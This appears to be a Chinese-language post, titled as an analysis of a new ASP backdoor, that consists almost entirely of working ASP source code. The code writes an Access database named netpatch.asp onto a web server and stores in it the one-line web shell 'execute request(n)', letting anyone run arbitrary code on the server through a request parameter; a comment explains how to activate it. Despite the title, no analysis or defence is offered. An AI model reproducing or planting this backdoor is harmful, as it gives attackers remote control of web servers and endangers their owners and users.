新型ASP后门源代码分析

　　'code by netpatch

　　dim dbfile,sql

　　db="netpatch.asp"

　　dbfile=server.MapPath(db)

　　set ydb=server.CreateObject("ADOX.Catalog")

　　ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile

　　set ydb=nothing

　　if err.number=0 then

　　Response.Write dbfile & " 创建成功<br> "

　　else

　　Response.Write "创建失败，原因： " & err.description

　　Response.End

　　end if

　　Set Conn = Server.CreateObject("ADODB.Connection")

　　Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile

　　sql="CREATE TABLE fdata([data] Memo)"

　　conn.execute(sql)

　　Set rs = CreateObject("ADODB.RecordSet")

　　rs.Open "FData", conn, 1, 3

　　rs.addnew

　　rs("data")="<%execute request(“n”))%>" '(注释记得去掉！一句话后门 execute request(“n”))

　　rs.update

　　%>